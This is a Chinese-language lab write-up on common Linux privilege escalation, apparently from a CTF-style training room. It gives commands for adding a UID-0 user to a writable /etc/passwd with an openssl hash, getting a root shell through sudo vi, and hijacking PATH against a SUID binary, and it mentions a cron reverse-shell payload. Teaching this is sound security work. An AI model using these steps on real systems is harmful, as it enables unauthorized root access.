Common Linux Privesc 记录

常见 Linux 提权的

提权方式:水平提权,垂直提权。

水平提权:这是您通过接管与您处于相同权限级别的不同用户来扩大您对受感染系统的影响的地方。

例如,一个普通用户劫持另一个普通用户(而不是提升为超级用户)。这允许您继承该用户拥有的任何文件和访问权限。例如,这可以用来获得另一个普通特权用户的访问权限,该用户恰好有一个 SUID 文件附加到他们的主目录(稍后会详细介绍),然后可以用来获得超级用户访问权限。

垂直提权:这是您尝试使用您已经泄露的现有帐户获得更高权限或访问权限的地方。对于本地权限升级攻击,这可能意味着劫持具有管理员权限或根权限的帐户。

枚举

使用工具LinEnum https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

在本地使用python3 -m http.server

然后目标机使用wget htpp://10.10.216.8:8000/LinEnum.sh 下载到本地

chmod +x LinEnum.sh

./LinEnum.sh 执行可查看到/etc/passwd 允许用户写入

cat /etc/passwd 查看user[x]

cat /etc/shells 查看系统可用shell

滥用 SUID/GUID 文件

Linux提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以在文件所有者/组的权限下运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些特权的 shell!

什么是 SUID 二进制文件?

在Linux中一切皆文件,包括目录和设备,它们具有允许或限制三种操作的权限,即读/写/执行。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三种权限的 Linux 用户。

r=读,w=写,x=执行

用户    组      其他
rwx rwx rwx
421 421 421 可用于为每个用户设置权限的最大位数为 7,它是读(4)写(2)和执行(1)操作的组合。
例如,如果您使用“chmod”设置权限为755,那么它将是:rwxr-xr-x 但是,当向每个用户授予特殊权限时,它就变成了 SUID 或 SGID。当额外的位“4”设置为用户
(所有者)时,它变为SUID(设置用户 ID),当位“2”设置为组时,它变为SGID(设置组 ID) 因此,查找SUID时要查找的权限为: 标识符: rws-rwx-rwx GUID: rwx-rws-rwx 使用命令:“find / -perm -u=s -type f 2>/dev/null”在文件系统中搜索 SUID/GUID 文件。
参考find提权:https://www.cnblogs.com/-Lucky-/p/17160491.html

利用可写入的/etc/passwd

了解 /etc/passwd 格式

user71006:0:user7,,,:/home/user7:/bin/bash

用户:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:command/shell

用户名:用户登录时使用。长度应在 1 到 32 个字符之间。
密码:一个 x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值,在这种情况下,密码哈希值存储为“ X”。
用户 ID ( UID ):必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 保留,UID 1-99 为其他预定义帐户保留。进一步的 UID 100-999 由系统保留用于管理和系统帐户/组。
组 ID (GID):主要组 ID(存储在 /etc/group 文件中)
用户 ID 信息:评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由 finger 命令使用。
主目录:用户登录时所在目录的绝对路径。如果该目录不存在,则用户目录变为 /
Command/shell:命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个外壳。请注意,它不一定是shell。

这种提权方式为vertical(垂直)

先使用openssl passwd -1 -salt [salt] [passwd] 来生成一个兼容的哈希密码

openssl passwd -1 -salt new 123
得
$1$new$p7ptkEKU1HnaHpRtzNizS1 此时写入/etc/passwd得格式为
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
echo "" >> /etc/passwd su new 即可

转义vi编辑器

参考语法:https://zhuanlan.zhihu.com/p/155973403

利用 :!command 可直接执行系统命令

sudo -l

使用“sudo -l”来列出您可以作为该帐户的超级用户使用的命令。

发现能够以 root 用户身份运行某些命令而无需 root 密码。这可以让您提升权限。

sudo -l
(root) NOPASSWD: /usr/bin/vi NOPASSWD sudo vi
输入
:!sh即可root

利用Crontab

什么是 Cron?

Cron 守护进程是一个长期运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,

既可以作为一次性事件,也可以作为重复性任务。您可以创建一个 crontab 文件,其中包含供

Cron 守护程序执行的命令和说明。

使用命令“cat /etc/crontab”来查看安排了哪些cron 作业。

只要有机会,就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。

参考:https://www.runoob.com/linux/linux-comm-crontab.html

cat /etc/crontab 查看

使用msfvenom生成payload
参考反弹shell https://www.cnblogs.com/-Lucky-/p/17160172.html 写入
echo "" > 文件
即可

利用PATH变量

PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定保存可执行程序的目录。

当用户在终端中运行任何命令时,它会在 PATH 变量的帮助下搜索可执行文件以响应用户执行的命令。

假设我们有一个 SUID 二进制文件。运行它,我们可以看到它正在调用系统 shell 来做一个基本的过程,
比如用“ps”列出进程。与我们之前的 SUID 示例不同,在这种情况下我们无法通过提供命令注入参数来利用它,那么我们可以做些什么来尝试利用它呢? 我们可以将 PATH 变量重新写入我们选择的位置!因此,当 SUID 二进制文件调用系统 shell 来运行可执行文件时,它运行的是我们编写的文件! 与任何 SUID 文件一样,它将以与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用这个方法我们可以以 root 身份运行任何我们喜欢的命令!
例如我们有一个suid二进制文件script,运行结果与ls相同

假设此时在/tmp目录下,
此时
echo "/bin/bash" > ls 模仿可执行变量
chmod +x ls 执行权限
export PATH=/tmp:$PATH 修改环境变量为默认/tmp路径下 此时执行script就会去/tmp/下找ls。执行即 root 恢复正常
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: /usr/games:/usr/local/games:$PATH

常见 Linux 提权的更多相关文章

  1. Linux提权中常见命令大全

    在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...

  2. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  3. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  4. Linux提权之:利用capabilities提权

    Linux提权之:利用capabilities提权 目录 Linux提权之:利用capabilities提权 1 背景 2 Capabilities机制 3 线程与文件的capabilities 3. ...

  5. Linux提权(1)-基础版~

    利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...

  6. 又一款linux提权辅助工具

    又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...

  7. 记一次初步Linux提权

    前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...

  8. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  9. 利用Metasploit进行Linux提权

    利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...

  10. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

随机推荐

  1. Java面试——Linux

    一.如果知道一个文件名称,怎么查这个文件在 Linux下的哪个目录,如:要查找 tnsnames.ora文件 1 find / -name tnsnames.ora 2 #还可以用locate 来查找 ...

  2. 寻找区间内第k小的数

    sort排序 这是最直接暴力的方法,时间复杂度为\(O(nlog_n)\) 直接排序,输出第k小的值即可 #include <iostream> #include <algorith ...

  3. 在Vue中发起axios请求成功,却被catch捕捉返回Network Error

    前端发起请求成功,后台接收处理返回,却被axios的catch捕获,没有走then函数. 最后添加了headers配置成功解决,如上,附上axios接口配置中文文档:axios中文文档|axios中文 ...

  4. 【JavaScript快速排序算法】不同版本原理分析

    说明 快速排序(QuickSort),又称分区交换排序(partition-exchange sort),简称快排.快排是一种通过基准划分区块,再不断交换左右项的排序方式,其采用了分治法,减少了交换的 ...

  5. 【ACM算法竞赛日常训练】DAY4题解与分析【树】【子序列】| 组合数学 | 动态规划

    DAY4共2题: 树(组合数学) 子序列(dp,数学) 作者:Eriktse 简介:19岁,211计算机在读,现役ACM银牌选手力争以通俗易懂的方式讲解算法!️欢迎关注我,一起交流C++/Python ...

  6. window身上的方法 弹出框/打开和关闭

    window身上的方法内置函数 alert() parseInt() parseFloat() setInterval(); setTimeout(); clearTimeout(); clearIn ...

  7. R语言文本数据挖掘(三)

    文本分词,就是对文本进行合理的分割,从而可以比较快捷地获取关键信息.例如,电商平台要想了解更多消费者的心声,就需要对消费者的文本评论数据进行内在信息的数据挖掘分析,而文本分词是文本挖掘的重要步骤.R语 ...

  8. pysimplegui之画布,图形,表格和树结构元素

    画布元素 在我看来,tkinter Canvas 小部件是 tkinter 小部件中功能最强大的.虽然我尽我所能将用户与任何与 tkinter 相关的东西完全隔离,但 Canvas 元素是一个例外.它 ...

  9. [大数据]Hadoop常用命令合集

    hadoop 查看hadoop版本 # hadoop version SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found ...

  10. 第一章 static、单例与继承

    目录 面向对象 一.static关键字 1.static修饰成员变量 2.static修饰成员变量内存中执行原理 3.成员方法的执行原理 4.工具类 5.静态关键字注意事项 6.代码块 java静态代 ...